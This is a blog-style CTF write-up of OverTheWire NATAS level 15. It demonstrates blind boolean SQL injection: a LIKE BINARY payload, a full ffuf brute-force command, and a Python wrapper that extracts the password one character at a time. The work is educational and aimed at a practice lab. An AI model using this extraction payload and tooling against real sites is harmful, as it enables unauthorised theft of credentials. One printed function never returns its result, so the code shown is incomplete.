· 8 min read

Not Another NATAS Writeup Part 1

A Decorative Image

Following my own advice, I have started honing my skills by doing CTFs. The NATAS wargame from OverTheWire is a basic web security challenge, with over 30 levels covering various techniques. In fact, I have already tried solving it a few years ago, and let me tell you, reading my old writeup was hilarious. Such a sweet summer child!

pictured: innocence
pictured: innocence

In that attempt, I’ve reached level 14 and it took me several weeks. I took notes, but it was very difficult to actually gain applicable knowledge from that process. There are dozens of writeups available, but they usually focus on the specific task solutions without diving too deep into the background. Summer-child-me treated these writeups as spellbooks, bouncing from blog to blog in search of various strings she could paste in the form fields, not really knowing how or why they work (or don’t).

This time, it took me a few hours to reach the same level and beyond that, which is a testament to the quality of HTB modules. So far, NATAS seems to be firmly in my Goldilocks zone - not too hard, not too easy, just right. However, I don’t think I have much to add to the writeup world with this one, since there are dozens of writeups of varying quality and levels of detail available online.

In level 15, I did get a chance to do something fun enough to warrant a blogpost, so let’s get on with that.

NATAS 15

The level is part of a series concerning SQL injections. We are presented with a search bar that allows us to check whether a particular user is in the system:

A Decorative Image

The source code reveals some interesting things:

  • The search term goes as is into an SQL query:
$query = "SELECT * from users where username=\"".$_REQUEST["username"]."\""
  • The DB being queried has 2 columns - username and password.
  • The query result isn’t displayed or even returned. Instead, if the result isn’t null, the code returns “This user exists”, and if not, it returns “This user doesn’t exist”.

Because the query result isn’t used to perform any kind of action (such as logging in), a regular AND or OR tautology injection wouldn’t help us. Similarly, since the query result isn’t displayed, using a UNION injection won’t work either. Fuzzing around with educated guesses, we can discover that the user natas16 exists in the system:

A Decorative Image

How can we leverage that? Well, let’s go back to the AND injection. Since we have an existing user and we know the DB has a password column, we can try guessing the password for the existing user:

A Decorative Image

But wait. NATAS passwords are usually 32 characters long. Assuming an alphanumeric case-sensitive charset, we are looking at 62^32 possibilities, which adds up to 2.27*10^57, that is, waaaaay too much.

Luckily for us, SQL has a fuzzy search keyword LIKE, and since our password is probably case-sensitive, we should also use the BINARY keyword to force a case-sensitive comparison. Armed with these keywords, we can test each character in our charset to check whether it is included anywhere in the password, so we can shrink our charset into something more manageable. The full query will look like this:

SELECT * from users where username="natas16" AND password LIKE BINARY "%[char]%"

We need to execute that query 62 times, so it is time to automate. My favorite for these kinds of tasks is ffuf - fast, convenient and reliable.

$ ffuf \
    -w tmp/dict.txt \ our alpha-numeric charset                                         
    -u "http://natas15.natas.labs.overthewire.org/index.php" \
    -X POST \
    -H "Content-Type: application/x-www-form-urlencoded" \
    -H "Authorization: Basic [redacted]" \ user:pass for natas15
    -d 'username=natas16"+and+password+like+BINARY+"%FUZZ%' \
    -fr "doesn't" \ a regex to filter out negative answers

Let’s run it and see what we get:

A Decorative Image

Our charset shrunk to 28! Which is great, but is still too large for regular brute-forcing. Let’s try something smarter. The last query we used looked for a character anywhere in the password. What if we only look at the first character of the password? It has to be one of the chars in the charset, so we can use ffuf and expect a single positive result:

A Decorative Image

Great! We know the first character of the password, and we can move on to guessing the second one. Then the third. And so on, 32 times. This will only take us 28*32=896 attempts at the worst case, or 32 ffuf requests. Which is doable, but, well…

A Decorative Image

I think I know what time it is.

It’s tooling time!

The basic need is to automate the process I’ve outlined above, which can all be done in Python using the requests library. On the other hand, we already have a tool that does the fuzzing part, and whatever I write in python will always do it worse because, well, python. A better idea would be to automate just the bits missing from ffuf, namely, the logic that builds up the password with each guess. In general, ffuf has plenty of features to modify the requests and filter the results, but not so much when it comes to more complicated input-side logic. The current password guessing logic is one example, but I can think of several others, from generating charsets (that I did manually here) to filtering password lists by password length and structure rules, that require separate steps before being ready for ffuf. Essentially I want to write a wrapper that performs some logic before calling ffuf.

A wrapper? for… ffuf? wrapper… frapper.. Frappe??! This thing basically names itself!

This is when I put on my Product Owner hat, and define some basic requirements:

Requirements

  • UX and usability: I want to use the frappe tool in a way as similar as possible to using ffuf itself (a CLI with similar flags and parameters), to minimize extra things to remember.
  • Performance: Since Go > Python, frappe should use ffuf features where possible (i.e output filters).
  • Simplicity: I want to be able to “set and forget”, so other than the minimal necessary flags and info, frappe should rely on default settings where possible.
  • Capabilities: at the moment frappe will only support password guessing based on a dictionary, but it should be easily extendable with other use-cases.

In general, since frappe is a side project, I intend to “leave good enough alone”: as long as it works, I don’t care if it’s sloppy or inefficient. If I find myself using it more than once in the future, I can always refactor.

Implementation

Given the requirements, the beginning is rather simple. I want to call frappe with the same command and flags I’m using for ffuf, so I need an argparser:

import argparse

def main():
    parser = argparse.ArgumentParser(description="Pass arguments just like ffuf")
    parser.add_argument("-D", help="Character dictionary in string form")
    parser.add_argument("-H", action="append", help="HTTP headers (can be repeated)")
    parser.add_argument("-u", help="Target URL")
    parser.add_argument("-w", help="Path to dictionary")
    parser.add_argument("-X", help="HTTP method")
    parser.add_argument("-d", help="POST data")
    parser.add_argument("-fr", help="Filter by regex")

    args, unknown = parser.parse_known_args()

Yes, there’s an arg to pass a dictionary string as well as a dictionary file. The former is there for the future when I add a dictionary-building functionality, and the latter is mainly because ffuf has a -w arg so frappe should have one as well. It is good enough, and so it is left alone.

Next, I start iterating on the secret we’re guessing:

def main():
    ...
    secret = ""

    next_char = get_next_char_from_ffuf(args, dict_path, secret)
    while next_char :
        secret += next_char
        print(secret) 
        next_char = get_next_char_from_ffuf(args, dict_path, secret)

Essentially, I start with an empty secret, so ffuf is called with the FUZZ keyword representing the first character of the target password. Upon retrieval, this character is appended to the secret, and the secret itself is then prepended to the FUZZ keyword in the command that goes out to ffuf, thus making the FUZZ keyword represent the second character of the password. This goes on until ffuf returns an empty guess, indicating the entire password has been guessed and there are no further characters.

The call to ffuf is done via a separate function, that in itself uses two helper functions to handle the injection of the new secret into the ffuf command and the extraction of the new character from the response:

import subprocess, re

FFUF_KEYWORD = "FUZZ"
FFUF_PATH = "ffuf"
ANSI_ESCAPES_RE = re.compile(r"\x1b\[[0-9;]*[a-zA-Z]|\r")

def get_next_char_from_ffuf(args, dict_path, secret):
    new_args = generate_ffuf_args(args, dict_path, secret)
    ffuf_command = [FFUF_PATH] + new_args
    result = subprocess.run(ffuf_command, stdout=subprocess.PIPE, stderr=subprocess.PIPE)

def generate_ffuf_args(args, dict_path, secret):
    new_args = []
    for arg_name, arg_value in vars(args).items():
        if arg_name == "w":
            new_args.append(f'-{arg_name}')
            new_args.append(dict_path)
        elif arg_name == "D":
            continue
        elif arg_name == "H":
            for header in arg_value:
                new_args.append(f'-{arg_name}')
                new_args.append(header)
        elif arg_value:
            new_args.append(f'-{arg_name}')
            if FFUF_KEYWORD in str(arg_value):
                new_element = str(arg_value).replace(FFUF_KEYWORD, f"{secret}{FFUF_KEYWORD}")
                new_args.append(new_element)
            else:
                new_args.append(arg_value)
    return new_args

def parse_ffuf_result(result):
    clean_result = result.stdout.decode('utf-8')
    if len(clean_result) > 0:
        return ANSI_ESCAPES_RE.sub('', clean_result)[0]
    return None

Silly me thought that I could pass args directly from the argparser to the subprocess. Not so! The parser stores its args in key:value pairs, with the - removed from the keys. The subprocess, on the other hand, requires a list where keys and their values are to be passed sequentially, formatted exactly as they should be passed (including the -). Also, I wanted to keep the flexibility of having the FUZZ keyword in any part of the command - data, url, cookie, whatever ffuf supports. The result is a bit clunky, iterating over everything for each new character to put the dashes back in and inject the new secret, but hey. It works!

A Decorative Image

It surely runs much faster than doing it all manually! That is, if you ignore the time it took me to write it, test it, learn how to use the vscode debugger (I’m a pycharm girlie but I’m trying to expand), figure out the thing with the dashes (that took a while), figure out that even escaped quotes mess up the launch.json run configs. All in all though, it’s a decent beginning of a personal toolkit. There are a lot of TODOs, but I want to see if I actually use the tool before investing more time in it. It’s available on my GitHub page, so if you get a chance to use it, let me know!

Peace.